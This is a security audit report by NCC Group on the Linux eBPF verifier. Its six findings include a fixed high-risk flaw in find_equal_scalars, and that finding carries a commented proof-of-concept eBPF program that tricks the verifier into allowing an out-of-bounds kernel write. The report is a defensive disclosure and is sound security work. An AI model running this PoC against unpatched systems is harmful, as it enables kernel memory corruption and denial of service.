



eBPF Verifier Code Review

NCC Group

Version 1.0 – November 11, 2024



1 Table of Contents

1	Table of Contents	2
2	Executive Summary	3
3	Dashboard	5
4	Table of Findings	6
5	Finding Details	7
6	Invariants	21
7	Notable eBPF Verifier Security Projects	23
8	eBPF Verifier Security Tooling	24
9	Vulnerability Research into the eBPF Verifier	25
10	Previous NCC Group Publications Relating to eBPF	27
11	Code Assets Reviewed	28
12	Finding Field Definitions	29
13	Contact Info	31



2 Executive Summary

Synopsis

During the summer of 2024, the eBPF Foundation engaged NCC Group to conduct a security source code review of the eBPF Verifier.

eBPF is a technology within the Linux kernel that can run sandboxed programs in a privileged context. It is used to safely and efficiently extend the capabilities of the kernel without requiring changes in kernel source code or loading kernel modules. The eBPF verifier is a critical component which gates the entrance of eBPF programs into the kernel by verifying the safety of eBPF programs using static analysis.

Scope

NCC Group's review included:

- Identification of the properties the eBPF Verifier is trying to prove.
- Source code review of the main logic of the eBPF verifier, as (typically) invoked via the `do_check()` function in `kernel/bpf/verifier.c`.
- Any issue that could allow eBPF source code to bypass the constraints of the Verifier to compromise the correct operation of the eBPF Verifier, leading to standard confidentiality, integrity, and availability concerns.

Since eBPF is a component of the Linux kernel, the source was available at the Linux kernel git server (see [Code Assets Reviewed](#)). The main focus of the security review was the main logic of the verifier, although associated code was also reviewed as necessary.

Limitations

Explicitly out of scope were:

- Transient execution attacks such as Spectre; this review was focused on code review of the verifier logic.
- Dynamic pentesting of the verifier.
- Fuzzing of the verifier; other projects such as Buzzer¹ are focused on fuzzing.
- Formal verification; this is being pursued as part of another project by the eBPF Foundation.

Conclusions and Key Findings

The eBPF Foundation is the focal point of an active, vibrant community around eBPF technology. The rapid growth in use and development of eBPF has been driven by the benefits the technology brings in terms of observability, networking and security.

The eBPF verifier is the crucial gatekeeper in terms of the safety of eBPF programs. Over the past decade, a large amount of security vulnerability research has been carried out into the verifier and many bugs have been identified and fixed by the community.

The verifier has a crucial - and extremely difficult - job to do, and can be considered "battle hardened" by this continual focus of vulnerability research. That said, it is important to underline that the security of eBPF as a technology does not rest solely on the verifier; the security and safety model around eBPF as a technology is designed to use the Linux privilege model to control access to eBPF, which mitigates some of the impact of security issues within the verifier.

Reviewing the history of changes to the verifier, it is clear that the set of programs accepted by the verifier is increasing over time, as checks become more detailed. This is helpful, since

1. <https://github.com/google/buzzer>



it allows broader compatibility with a wider range of compiler and tool behaviours, such as optimisations and unusual register behaviour, although with increased compatibility comes increased complexity.

The assessment uncovered several code flaws. The most notable findings were:

- A vulnerability enabling an attacker to read and write arbitrary kernel memory (find_equal_scalars).
- A lack of defensive code, specifically checking array bounds and pointer validity.
- Several overly-long and complex functions were identified as candidates for refactoring.
- A lack of clarity in documentation of the checks implemented by the verifier.

Strategic Recommendations




NCC Group suggests the following approaches to addressing identified issues:

- Beyond the immediate fix that was implemented, it would be prudent to investigate the underlying issues related to the find_equal_scalars issue, specifically the verifier's handling of BPF_ADD_CONST in the context of 32 vs 64-bit operations, and the potential "overloading" of bpf_reg_state.off, i.e. its use in the context of both pointers and scalars.
- In the longer term, it would be helpful to refactor the long, complex functions identified in this report, and consider the addition of defensive code, specifically bounds checks and null pointer checks.
- It would be helpful to users of eBPF and third-party tool developers to supplement the existing documentation with a relatively brief, user-focused, and authoritative list of the invariants that the verifier enforces, possibly in the form of an eBPF verifier man-page.













3 Dashboard

Finding Breakdown

Critical issues	0	
High issues	1	
Medium issues	0	
Low issues	4	
Informational issues	1	
Total issues	6	

Category Breakdown

Auditing and Logging	1	
Data Validation	1	
Other	2	 
Security Improvement Opportunity	2	 

 Critical  High  Medium  Low  Informational



4 Table of Findings

For each finding, NCC Group uses a composite risk score that takes into account the severity of the risk, application's exposure and user population, technical difficulty of exploitation, and other factors.

Title	Status	ID	Risk
find_equal_scalars Mishandles 32-Bit Addition	Fixed	JJX	High
Long and Complex Functions	New	UQ9	Low
Verifier Documentation Clarity	New	3TM	Low
Defensive Code Needed	New	4AM	Low
print_reg_state() Prints Registers Incorrectly	Fixed	MHB	Low
Typos in Comments	New	9W7	Info



5 Finding Details

High

find_equal_scalars Mishandles 32-Bit Addition

Overall Risk High
Impact High
Exploitability Low

Finding ID NCC-E015561-JJX
Component eBPF verifier
Category Data Validation
Status Fixed

Impact

An attacker with CAP_BPF (required to reach the vulnerable code paths) who can load & execute eBPF programs on a vulnerable system can read to, and write from, arbitrary kernel memory.

Description

A vulnerability in the eBPF verifier permits an attacker to submit and run an eBPF program that can read from, and write to, arbitrary kernel memory.

The issue involves the tracking of eBPF register values, and specifically the identification of equal scalars. The specific vulnerable code is related to the `find_equal_scalars()` function and the BPF_ADD_CONST flag, which signifies a constant offset between two scalar registers.

An attacker requires either root privilege or CAP_BPF² to successfully exploit the issue. Additionally, the POC code below requires CAP_PERFMON, because it doesn't bypass the ALU sanitizer (although in an actual exploit this can be achieved with previously documented³ methods).

The verifier attempts to track "similar" scalars in order to propagate bounds information learned about one scalar to others. For instance, if `r1` and `r2` are known to contain the same value, then upon encountering `if (r1 != 0x1234) goto 1234;`, not only does it know that `r1` is equal to `0x1234` on the path where that conditional jump is not taken, it also knows that `r2` is.

Additionally, if `env->bpf_capable` (i.e. if the process loading this eBPF program has CAP_BPF), the verifier will track scalars which should be a constant delta apart (if `r1` is known to be one greater than `r2`, then if `r1` is known to be equal to `0x1234`, `r2` must be equal to `0x1233`.)

The relevant code from `adjust_reg_min_max_vals()`, located at `kernel/bpf/verifier.c:14101`:

```
if (env->bpf_capable && BPF_OP(insn->code) == BPF_ADD &&
    dst_reg->id && is_reg_const(src_reg, alu32)) {
    u64 val = reg_const_value(src_reg, alu32);

    if ((dst_reg->id & BPF_ADD_CONST) ||
        /* prevent overflow in find_equal_scalars() later */
        val > (u32)S32_MAX) {
```

2. CAP_BPF is a Linux kernel [capability](#) which serves several purposes. First, it allows certain eBPF operations such as creating maps. Second, it enables more sophisticated analysis in the eBPF verifier (including the vulnerable scalar-offset analysis documented in this finding). Third, if unprivileged eBPF is disabled by the `unprivileged_bpf_disabled` sysctl- as it currently is on most popular distributions by default- CAP_BPF is required to load any BPF program.

3. A technique is described in [this writeup](#) by Manfred Paul of his winning entry in the Pwn2Own 2020 competition.



```

/*
 * If the register already went through rX += val
 * we cannot accumulate another val into rx->off.
 */
dst_reg->off = 0;
dst_reg->id = 0;
} else {
    dst_reg->id |= BPF_ADD_CONST;
    dst_reg->off = val;
}
}
}

```

In eBPF, all registers are 64 bits wide, but ALU operations may be either 32-bit or 64-bit, with the results of 32-bit ALU operations being zero-extended. This code path in `adjust_reg_min_max_vals` is reached when processing both 32-bit and 64-bit addition operations; although `adjust_reg_min_max_vals` knows whether `dst_reg` was produced by a 32-bit or a 64-bit addition (the `alu32` variable in the above code snippet), the only information saved in `dst_reg` is the ID of the source register and the value of the constant offset.

Later, the function `find_equal_scalars` will attempt to use this information to propagate bounds information from one register (`known_reg`) to others. The relevant code is located at `kernel/bpf/verifier.c:15090`:

```

static void find_equal_scalars(struct bpf_verifier_state *vstate,
                              struct bpf_reg_state *known_reg)
{
    struct bpf_reg_state fake_reg;
    struct bpf_func_state *state;
    struct bpf_reg_state *reg;

    bpf_for_each_reg_in_vstate(vstate, state, reg, ({
        if (reg->type != SCALAR_VALUE || reg == known_reg)
            continue;
        if ((reg->id & ~BPF_ADD_CONST) != (known_reg->id & ~BPF_ADD_CONST))
            continue;
        if ((!(reg->id & BPF_ADD_CONST) && !(known_reg->id & BPF_ADD_CONST)) ||
            reg->off == known_reg->off) {
            copy_register_state(reg, known_reg);
        } else {
            s32 saved_off = reg->off;

            fake_reg.type = SCALAR_VALUE;
            __mark_reg_known(&fake_reg, (s32)reg->off - (s32)known_reg->off);

            /* reg = known_reg; reg += delta */
            copy_register_state(reg, known_reg);
            /*
             * Must preserve off, id and add_const flag,
             * otherwise another find_equal_scalars() will be incorrect.
             */
            reg->off = saved_off;

            scalar32_min_max_add(reg, &fake_reg);
            scalar_min_max_add(reg, &fake_reg);
        }
    }));
}

```




```
    reg->var_off = tnum_add(reg->var_off, fake_reg.var_off);
  }
  }));
}
```

For registers equal to `known_reg` - those with the same `bpf_reg_state->off` value - `find_equal_scalars()` calls `copy_register_state` to copy the entire state of `known_reg` into the other register. For registers equal to `known_reg` up to a constant offset, however, the logic is significantly more complicated. In this case, `find_equal_scalars` prepares a “fake” register state (`fake_reg`) and initializes it (using `__mark_reg_known`) to the constant offset between `reg` and `known_reg`. Next, the verifier uses `copy_register_state` to copy the state of `known_reg` into `reg`. Finally, using `scalar32_min_max_add`, `scalar_min_max_add`, and `tnum_add`, the verifier emulates⁴ the effects of a 64-bit addition between `fake_reg` and `reg`.

However, this is only correct if the value in `reg` was created by a 64-bit addition. When `reg` contains the result of a 32-bit addition operation, its upper 32 bits will always be zero (as previously mentioned, 32-bit ALU operations are zero-extended); `find_equal_scalars`, on the other hand, may cause the verifier to believe that the addition between `fake_reg` and `reg` overflows into those upper bits.

For example, if `reg` was generated by adding the constant 1 to `known_reg` using a 32-bit ALU operation, then `reg->off` is 1 and `known_reg->off` is 0. If `known_reg` is known to be the constant `0xFFFFFFFF`, `find_equal_scalars` will tell the verifier that `reg` is equal to the constant `0x100000000`. This is incorrect- the actual value of `reg` will be `0x0`, as the 32-bit addition will wrap around. An attacker can use the verifier’s incorrect belief about the value of `reg` to cause the verifier to allow an unsafe program, as seen in Reproduction Steps of this finding.

The issue affects the reviewed version of the verifier source code; bpf-6.11-rc7 (commit b831f83e40a24f07c8dcba5be408d93beedc820f in the bpf kernel tree).

Recommendation

Split code relating to `BPF_ADD_CONST` to track 32-bit vs. 64-bit addition operations separately, i.e. adding an extra `BPF_ADD_CONST32` flag. This could preserve the existing set of programs that the verifier classifies as valid.

An alternative approach would be to simplify the verifier to remove `BPF_ADD_CONST` entirely, or only track constant scalar offsets for either 32 or 64 bit operations (not both). This would reduce the set of programs the verifier classes as valid, however, and therefore may break software that relies on verification of eBPF programs that use registers in a manner affected by this logic.

UPDATED 2024-10-18

This issue has now been fixed; the fix and description are located at:

<https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=3878ae04e9fc24dadb77a1d32bd87e7d8108599e>

4. This exact series of `scalar32_min_max_add`, `scalar_min_max_add`, and `tnum_add` is used by `adjust_scalar_min_max_vals` to compute the effect of an addition operation on a BPF register’s state. However, critically, `adjust_scalar_min_max_vals` will later call `zext_32_to_64` for 32-bit additions to zero the top 32 bits of the destination register. `find_equal_scalars` does not - and it cannot safely do so in general, since it does not know whether the addition which generated `reg` was 32- or 64-bit.



Reproduction Steps

Example POC code:

```
struct bpf_insn prog[] = {
    // keeping a known value in r0 makes bpf_exit() always legal, which is convenient
    BPF_MOV64_IMM(BPF_REG_0, 0),

    // load a constant into r1, but make it opaque to the verifier
    BPF_LD_IMM64(BPF_REG_1, 0x80000001),
    BPF_ALU64_IMM(BPF_DIV, BPF_REG_1, 1), // r1 /= 1, a nop, but verifier doesn't understand
    ↳ division so r1 becomes unknown

    // now copy r1 to r2 and r4, such that {r1, r2, r4}.id are all the same
    // that lets us trigger find_equal_scalars later
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_1),
    BPF_MOV64_REG(BPF_REG_4, BPF_REG_1),

    // Add constants to r2 and r4
    // thus setting their ->off, and id |= BPF_ADD_CONST
    //
    // Observe that we do the add to r4 with ALU32. find_equal_scalars will mishandle this.
    BPF_ALU32_IMM(BPF_ADD, BPF_REG_2, 0x7FFFFFFF),
    BPF_ALU32_IMM(BPF_ADD, BPF_REG_4, 0),

    // Bound r2 and trigger find_equal_scalars
    BPF_JMP_IMM(BPF_JEQ, BPF_REG_2, 0x0, 1),
    BPF_EXIT_INSN(),

    // The verifier is now wrong about the upper 32 bits of R4.
    // It believes R4=0xffffffff80000001, while actually R4 = R1 = 0x80000001.

    // Exploit this for a crash:
    //
    // First, logical shift right 63 bits so we have a single incorrect bit to work with.
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_4, 63),

    // Now the verifier thinks we always have 1 but we actually have 0.
    // It's more useful to have 1 and tell the verifier we have 0... so
    // r3 = 1 - r4, and that's exactly what we get

    BPF_LD_IMM64(BPF_REG_3, 1),
    BPF_ALU64_REG(BPF_SUB, BPF_REG_3, BPF_REG_4),

    // Now we can multiply r3 by an arbitrary value
    // and use it as an offset from another pointer (here, fp).
    // The verifier, believing r3 is always zero, sees no problem.
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_3, 0x7fffffff),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_10),

    // Store to our out-of-bounds pointer, triggering a kernel panic.
    // The verifier thinks r3 is now equal to fp, so will allow this.
    BPF_STX_MEM(BPF_B, BPF_REG_3, BPF_REG_0, -1),

    BPF_EXIT_INSN(),
};
```



Here is an example of the verifier log, up to the conditional jump (where the state is corrupted):

```
0: R1=ctx() R10=fp0
0: (b7) r0 = 0 ; R0_w=0
1: (18) r1 = 0x80000001 ; R1_w=0x80000001
3: (37) r1 /= 1 ; R1_w=sclarar()
4: (bf) r2 = r1 ; R1_w=sclarar(id=1) R2_w=sclarar(id=1)
5: (bf) r4 = r1 ; R1_w=sclarar(id=1) R4_w=sclarar(id=1)
6: (04) w2 += 2147483647 ;
↳ R2_w=sclarar(id=1+2147483647,smin=0,smax=umax=0xffffffff,var_off=(0x0; 0xffffffff))
7: (04) w4 += 0 ;
↳ R4_w=sclarar(id=1+0,smin=0,smax=umax=0xffffffff,var_off=(0x0; 0xffffffff))
8: (15) if r2 == 0x0 goto pc+1 10: R0=0 R1=0xffffffff80000001 R2=0x7fffffff R4=0xffffffff800000
↳ 01 R10=fp0
```

Note how after instruction 8, the verifier believes r4 has its top 32 bits set, despite this being impossible (it was generated from a zero-extending 32-bit ALU operation at instruction index 7). (Due to [finding "print_reg_state\(\) Prints Registers Incorrectly"](#), the verifier also prints the value of r2 incorrectly to the verifier log; however, this is an unrelated cosmetic issue which does not affect the correctness of the verifier.)

When this program is executed, the kernel will panic with a kernel-mode write to an invalid address.

Location

kernel/bpf/verifier.c

Retest Results

2024-10-18 – Fixed

Commit [3878ae04e9fc24dacb77a1d32bd87e7d8108599e](#) changes `adjust_reg_min_max_vals` such that it only considers 64-bit ALU operations (`!alu32`) as candidates for `BPF_ADD_CONST`. This fixes this finding, as the verifier no longer sets `BPF_ADD_CONST` for registers produced by 32-bit additions.

When the proof-of-concept eBPF program is loaded on a kernel built from [3878ae04e9fc24dacb77a1d32bd87e7d8108599e](#), the verifier rejects the program.



Long and Complex Functions

Overall Risk	Low	Finding ID	NCC-E015561-UQ9
Impact	Low	Component	eBPF verifier
Exploitability	Undetermined	Category	Security Improvement Opportunity
		Status	New

Impact

Long and complex functions make maintaining and reasoning about code harder. This is especially problematic in code which implements security controls, since it makes it more likely that (for example) individual access controls may not be applied, that input validations may be bypassed, and that security mechanisms may have gaps, resulting in vulnerabilities.

Description

The verifier code contained several overly long and complex functions. This practice tends to make code hard to understand, hard to maintain, and hard to reason about. This may ultimately make the verifier less efficient and less secure than it could be.

Although this is a debatable point, there is some objective evidence that highlights the issues.

The Linux Kernel Coding Style Guide, at <https://www.kernel.org/doc/html/latest/process/coding-style.html>, notes, under section 6, "Functions":

Functions should be short and sweet, and do just one thing. They should fit on one or two screenfuls of text (the ISO/ANSI screen size is 80x24, as we all know), and do one thing and do that well.

The maximum length of a function is inversely proportional to the complexity and indentation level of that function. So, if you have a conceptually simple function that is just one long (but simple) case-statement, where you have to do lots of small things for a lot of different cases, it's OK to have a longer function.

However, if you have a complex function, and you suspect that a less-than-gifted first-year high-school student might not even understand what the function is all about, you should adhere to the maximum limits all the more closely.

As the style guide suggests, raw line count is a poor measure of function complexity; many of the functions in the verifier are extremely well commented, which naturally results in longer functions. A more reliable measure of complexity is Cyclomatic Complexity, developed by Thomas McCabe in 1976, which ignores comments and is a measure of the number of linearly independent paths through the code.

Although there are no absolutely definitive guidelines, in his presentation "Software Quality Metrics to Identify Risk" for the Department of Homeland Security, Thomas McCabe introduced the following rough guide for the cyclomatic complexity of functions: https://en.wikipedia.org/wiki/Cyclomatic_complexity

- 1 - 10: Simple procedure, little risk
- 11 - 20: More complex, moderate risk
- 21 - 50: Complex, high risk



- Over 50 : Untestable code, very high risk

The open source 'pmccabe' utility (by Paul Bame) implements the measure and is available in most linux distributions.

The tool measures "Cyclomatic Complexity" as the number of paths through the code, notably treating each "case" statement as an independent path, and "Modified Cyclomatic Complexity", which counts only the "switch" statement, rather than each "case" statement. "Modified Cyclomatic Complexity" is an attempt to capture the common coding idiom of having a large number of almost identical "case" statements, which adds little to the practical complexity of a function.

The following table is a sample of the output when the tool is run over kernel/bpf/verifier.c, sorted by descending "Modified Cyclomatic Complexity" and listing functions with a cyclomatic complexity of over 50.

Modified Cyclomatic Complexity	Cyclomatic Complexity	Statements	First Line	Lines	Name
143	151	445	19861	777	do_misc_fixups
110	141	296	11764	471	check_kfunc_args
110	110	280	12280	448	check_kfunc_call
103	103	213	17777	366	do_check
94	115	302	10268	518	check_helper_call
90	90	144	6781	238	check_mem_access
88	147	126	8949	250	check_map_func_compatibility
82	82	135	14125	238	check_alu_op
67	74	163	21149	285	bpf_check_attach_target
62	63	108	15126	223	check_cond_jump_op
61	61	138	3590	277	backtrack_insn
54	64	96	14446	127	is_scalar_branch_taken
52	52	138	17362	341	is_state_visited
52	60	117	19152	212	convert_ctx_accesses
51	51	146	21567	244	bpf_check
47	62	138	8646	258	check_func_arg

Recommendation

Although this is a debatable issue, on the basis of this evidence NCC Group recommends that the following functions be refactored into multiple smaller functions:

- do_misc_fixups
- check_kfunc_args
- check_kfunc_call
- do_check
- check_helper_call
- check_mem_access



-
- check_alu_op

These are the functions from the list above which, after inspection of the code, appear complex enough to warrant refactoring (some of the longer functions are nonetheless relatively simple).



Verifier Documentation Clarity

Overall Risk	Low	Finding ID	NCC-E015561-3TM
Impact	Low	Component	eBPF verifier
Exploitability	Undetermined	Category	Other
		Status	New

Impact

In order to run an eBPF program, the program must pass the verification process. Outputs from the verifier can sometimes be difficult for users to understand, leading to a situation where the user may be unable to determine how to fix the program.

Description

It is necessary for users and developers of eBPF programs to understand the restrictions the verifier imposes. When a program fails verification, the reasons are often unclear and this can lead to frustration. The checks the verifier performs are described at a high level (size, complexity, memory safety, “prove” exit, some type safety) in general documentation provided by the eBPF Foundation (<https://ebpf.io/what-is-ebpf/#ebpf-safety>).

Some of the specifics are described in the kernel documentation, available at: `Documentation/bpf/verifier.rst`, but this documentation is intended for kernel developers rather than users of the system. Unfortunately, the specifics of the invariants are only present in the verifier code itself and its associated developer-level documentation. The verifier itself can output verbose error logs, and it is generally necessary to debug verification failures by using the logs to guide trial and error interactions with the verifier.

Recommendation

It would be helpful to clarify the invariants implemented by the verifier in a high-level form, directed at developers of eBPF programs. This could be done by creating a verifier-specific man page, describing the invariants (but not the specifics of their implementation). This would benefit both users of the eBPF platform and developers of third-party tooling related to the platform, such as compilers.

An IETF working group focussed on eBPF has been formed, and is working on “*documenting the existing state of the BPF ecosystem*”, including specifically “*verifier expectations and building blocks for allowing safe execution of untrusted BPF programs*”⁵. The output of this working group may address this concern.

5. BPF / eBPF IETF Working Group <https://datatracker.ietf.org/wg/bpf/about/>



Defensive Code Needed

Overall Risk	Low	Finding ID	NCC-E015561-4AM
Impact	Low	Component	eBPF verifier
Exploitability	Undetermined	Category	Security Improvement Opportunity
		Status	New

Impact

An absence of pre-emptive bounds and pointer validity checks in the verifier may have led to several security issues (crashes and memory corruption issues).

Description

Very little “defensive” code was present in the verifier, i.e. bounds checking of indexes and verification of the validity of pointers within a function prior to use. Very few array references or pointers are validated before use within the scope of each function in the main body of the verifier code (kernel/bpf/verifier.c).

By “defensive” in this case, we refer to the practice of validating parameters input to a function, and pointers and indexes derived from calls to other functions, prior to using them. Applying these checks before array indexes and pointers are used allows the program to report the error and otherwise handle the error safely. This is especially important in the context of the verifier, since out-of-bounds references and invalid pointer dereferences in the kernel can be catastrophic, resulting in arbitrary code execution, information leaks, writes to kernel memory, or crashes.

There are several arguments in favour of defensive code in the verifier:

- **Safety:** The verifier is a safety component within the Linux kernel. It should place safety and security above other considerations.
- **Certainty:** You can be sure the pointer is non-null, and the index is in bounds. Entire classes of security vulnerability are eliminated.
- **Caution:** Conditions that “can’t happen” in code happen frequently in practice. See Kernighan and Plauger’s “Software Tools”, re outputting: “can’t happen” on an invariant violation.⁶
- **Resilience to refactoring:** If functions are coded defensively, then regardless of how the code changes, e.g. with different callers no longer applying checks, the function will always be safe.

There are also several reasonable arguments against defensive code in the verifier:

- **Fail visibly:** It may be better to crash in a noisy and highly visible fashion than to silently handle an error; issues might be missed because they are no longer visible.
- **Performance:** The addition of instructions, most notably branches, makes the code run slower.
- **Readability:** The addition of verification code adds bloat, making the code less readable.
- **Effort:** More code means more time and resources that could be better spent elsewhere.

6. Snippets of the book can be seen at https://books.google.co.uk/books?redir_esc=y&id=dovKAAAAMAAJ&focus=searchwithinvolume&q=%22can%27t+happen%22 .



There is substantial evidence of previous issues related to an absence of defensive bounds checks and pointer checks in the history of the verifier code; a few examples are given below but dozens exist in the change history.

Description	Reference	Notes
Kernel crash due to absence of bounds check	Kernel Fix	Fix is direct bounds check
Null pointer dereference	Kernel Fix	Fix is null pointer check
Out of bounds array ref in check_stack_range_initialized()	Kernel Fix	Fix is complex bounds check
Null pointer dereference	Kernel Fix	Fix is to only dereference if pointer is valid
Null pointer dereference of poke_tab	Kernel Fix	Fix is complex pointer/index validation
Null pointer dereference (fix in verifier, ref in btf.c)	Kernel Fix	Fix is to not reference an uninitialised pointer
Missing bounds check in verifier	Kernel Fix	Fix is bounds check

On balance, the NCC Group team feels that in the context of the eBPF verifier - a safety component running within the Linux kernel - carefully adding a reasonable number of defensive pointer and index checks is sensible.

Recommendation

It would be prudent to add a reasonable number of defensive bounds and null pointer checks, in the interests of preventing further issues related to invalid pointers and out-of-bounds references.



Low

print_reg_state() Prints Registers Incorrectly

Overall Risk	Low	Finding ID	NCC-E015561-MHB
Impact	Low	Component	eBPF verifier
Exploitability	Undetermined	Category	Auditing and Logging
		Status	Fixed

Impact

Information about the state of registers output by the verifier logging functions may be incorrect.

Description

The function `print_reg_state()` prints constant scalars incorrectly in some cases.

Specifically this occurs when the `reg->off` field is set.

The relevant code is located in `kernel/bpf/log.c:680`:

```
static void print_reg_state(struct bpf_verifier_env *env,
                           const struct bpf_func_state *state,
                           const struct bpf_reg_state *reg)
{
    enum bpf_reg_type t;
    const char *sep = "";

    t = reg->type;
    if (t == SCALAR_VALUE && reg->precise)
        verbose(env, "P");
    if (t == SCALAR_VALUE && tnum_is_const(reg->var_off)) {
        /* reg->off should be 0 for SCALAR_VALUE */
        verbose_snum(env, reg->var_off.value + reg->off);
        return;
    }
    ...
}
```

For scalars, unlike pointers, constant “offsets” are always captured in `var_off` when `var_off` is constant, thus adding `reg->off` is incorrect.

It appears possible that the change to allow `BPF_ADD_CONST`, which produces scalars with `reg->off != 0`, may have introduced this issue.

Recommendation

`print_reg_state()` should not consider `reg->off` here, only `reg->var_off`.

Retest Results

2024-10-18 – Fixed

As of commit [3e9e708757ca3b7eb65a820031d62fea1a265709](#), `print_reg_state` will no longer add `reg->off` to `reg->var_off.value` when printing constant scalars, resolving this finding:

```
if (t == SCALAR_VALUE && tnum_is_const(reg->var_off)) {
-   /* reg->off should be 0 for SCALAR_VALUE */
-   verbose_snum(env, reg->var_off.value + reg->off);
+   verbose_snum(env, reg->var_off.value);
}
```



Kernels containing this fix now print scalars with offsets correctly.



Typos in Comments

Overall Risk	Informational	Finding ID	NCC-E015561-9W7
Impact	None	Component	eBPF verifier
Exploitability	None	Category	Other
		Status	New

Impact

This issue has no impact on security and is recorded for completeness.

Description

During the code review, several typos were found in comments within the verifier source code. They are reported here for completeness.

```
kernel/bpf/verifier.c:1187: unprivileged should be unprivileged
kernel/bpf/verifier.c:6125: registesr should be register
kernel/bpf/verifier.c:7215: uninint should be uninit
kernel/bpf/verifier.c:7218: possibillity should be possibility
kernel/bpf/verifier.c:8089: visitied should be visited
kernel/bpf/verifier.c:16643: verifer should be verifier
kernel/bpf/verifier.c:17284: ininite should be infinite
kernel/bpf/verifier.c:17326: inifintely should be infinitely
```



6 Invariants

The eBPF verifier applies a set of checks to eBPF programs. These can be thought of as invariants the verifier is attempting to prove.

Although there are several high-level descriptions, the only authoritative definition of the verifier's invariants is the source code for the verifier and its associated developer-level documentation. The verifier itself can output verbose error logs, and it is generally possible to debug verification failures by using the logs to guide trial and error interactions with the verifier. Due to the risk of frustration this entails, one of the findings of this report is a recommendation that the existing documentation should be supplemented with a definitive, user-level list of the checks implemented by the verifier.

There are multiple existing sources of official documentation about the verifier.

The bpf man page states this about the verifier:

An in-kernel verifier statically determines that the eBPF program terminates and is safe to execute.

The verifier kernel documentation, at [Documentation/bpf/verifier.rst](#), states:

The safety of the eBPF program is determined in two steps.

First step does DAG check to disallow loops and other CFG validation. In particular it will detect programs that have unreachable instructions. (though classic BPF checker allows them)

Second step starts from the first insn and descends all possible paths. It simulates execution of every insn and observes the state change of registers and stack.

The kernel documentation then goes on to describe some of the invariants in detail.

The eBPF foundation states the following about the verifier at <https://ebpf.io/what-is-ebpf/#ebpf-safety> :

Verifier

If a process is allowed to load an eBPF program, all programs still pass through the eBPF verifier. The eBPF verifier ensures the safety of the program itself. This means, for example:

- Programs are validated to ensure they always run to completion, e.g. an eBPF program may never block or sit in a loop forever. eBPF programs may contain so called bounded loops but the program is only accepted if the verifier can ensure that the loop contains an exit condition which is guaranteed to become true.
- Programs may not use any uninitialized variables or access memory out of bounds.
- Programs must fit within the size requirements of the system. It is not possible to load arbitrarily large eBPF programs.
- Program must have a finite complexity. The verifier will evaluate all possible execution paths and must be capable of completing the analysis within the limits of the configured upper complexity limit.

The verifier is meant as a safety tool, checking that programs are safe to run. It is not a security tool inspecting what the programs are doing.



An additional eBPF foundation page describes the verifier in further detail:
<https://docs.ebpf.io/linux/concepts/verifier/>

Complexity constraints in the form of limits are described in the kernel documentation at
/Documentation/bpf/bpf_design_QA.rst:90 :

Q: What are the verifier limits?

A: The only limit known to the user space is BPF_MAXINSNS (4096).

It's the maximum number of instructions that the unprivileged bpf program can have. The verifier has various internal limits.

Like the maximum number of instructions that can be explored during program analysis. Currently, that limit is set to 1 million.

Which essentially means that the largest program can consist of 1 million NOP instructions. There is a limit to the maximum number of subsequent branches, a limit to the number of nested bpf-to-bpf calls, a limit to the number of the verifier states per instruction, a limit to the number of maps used by the program.

All these limits can be hit with a sufficiently complex program.

There are also non-numerical limits that can cause the program to be rejected. The verifier used to recognize only pointer + constant expressions. Now it can recognize pointer + bounded_register.

bpf_lookup_map_elem(key) had a requirement that 'key' must be a pointer to the stack. Now, 'key' can be a pointer to map value.

The verifier is steadily getting 'smarter'. The limits are being removed. The only way to know that the program is going to be accepted by the verifier is to try to load it.

The bpf development process guarantees that the future kernel versions will accept all bpf programs that were accepted by the earlier versions.

As mentioned in the finding "Verifier Documentation Clarity", an IETF working group focussed on eBPF has been formed, and is working on "*documenting the existing state of the BPF ecosystem*", including specifically "*verifier expectations and building blocks for allowing safe execution of untrusted BPF programs*"⁷. The output of this working group may address concerns in this area.

7. BPF / eBPF IETF Working Group <https://datatracker.ietf.org/wg/bpf/about/>



7 Notable eBPF Verifier Security Projects

The eBPF Foundation recently announced grant awards relating to five academic research projects, two of which relate to the verifier specifically:

<https://ebpf.foundation/ebpf-foundation-announces-250000-in-grant-awards-for-five-ebpf-academic-research-projects/>

Lazy Abstraction Refinement with Proof for an Enhanced Verifier, Zhendong Su, and Hao Sun, ETH Zürich – This project introduces a novel approach—lazy abstraction refinement with proof—to enhance the precision of the eBPF verifier. By selectively and lazily refining abstractions with higher precision verification techniques and encoding refinements in machine-checkable proofs, the approach significantly improves the precision while maintaining a manageable complexity. Proofs generated in user space and validated in kernel space ensure minimal overhead. The implementation and thorough evaluation will demonstrate its effectiveness, with the goal of integration into the upstream and extending the adoption of eBPF.

Verified Path Exploration for eBPF Static Analysis, Srinivas Narayana and Santosh Nagarakatte, Rutgers University – This project continues an existing effort in the Agni project to formally verify algorithms in the eBPF verifier. Specifically, the researchers will explore formal verification and proofs of soundness for a key algorithm in the verifier, namely path pruning, which enables fast safety checking for eBPF programs with a large number of static code paths. The soundness of path pruning is security-critical since incorrect pruning may result in the execution of malicious programs in the kernel. This project takes the first steps towards formal verification of path pruning, by specifying conditions for soundness, and developing systematic techniques to prove soundness and uncover bugs.

Parts of the Verifier and JIT infrastructure have been formally verified; the relevant publications are listed below:

Title	URL
<i>Fixing Latent Unsound Abstract Operators in the eBPF Verifier of the Linux Kernel</i>	To appear at https://people.cs.rutgers.edu/~sn349/ , preprint available HERE
<i>Verifying the Verifier: eBPF Range Analysis Verification</i>	https://people.cs.rutgers.edu/~sn349/papers/agni-cav2023.pdf
<i>Sound, Precise, and Fast Abstract Interpretation with Tristate Numbers</i>	https://people.cs.rutgers.edu/~sn349/papers/cgo-2022.pdf
<i>Synthesizing JIT Compilers for In-Kernel DSLs</i>	https://unsat.cs.washington.edu/papers/geffen-jitsynth.pdf
<i>Scaling symbolic evaluation for automated verification of systems code with Serval</i>	https://unsat.cs.washington.edu/papers/nelson-serval.pdf
<i>Specification and verification in the field: Applying formal methods to BPF just-in-time compilers in the Linux kernel</i>	https://unsat.cs.washington.edu/papers/nelson-jitterbug.pdf



8 eBPF Verifier Security Tooling

Several helpful projects related to the verifier have been published; they are listed below.

Project	Description	URL
Agni	Code reproducing results of “Verifying the Verifier: eBPF Range Analysis Verification” (Rutgers University)	Github repo Original Paper Presentation
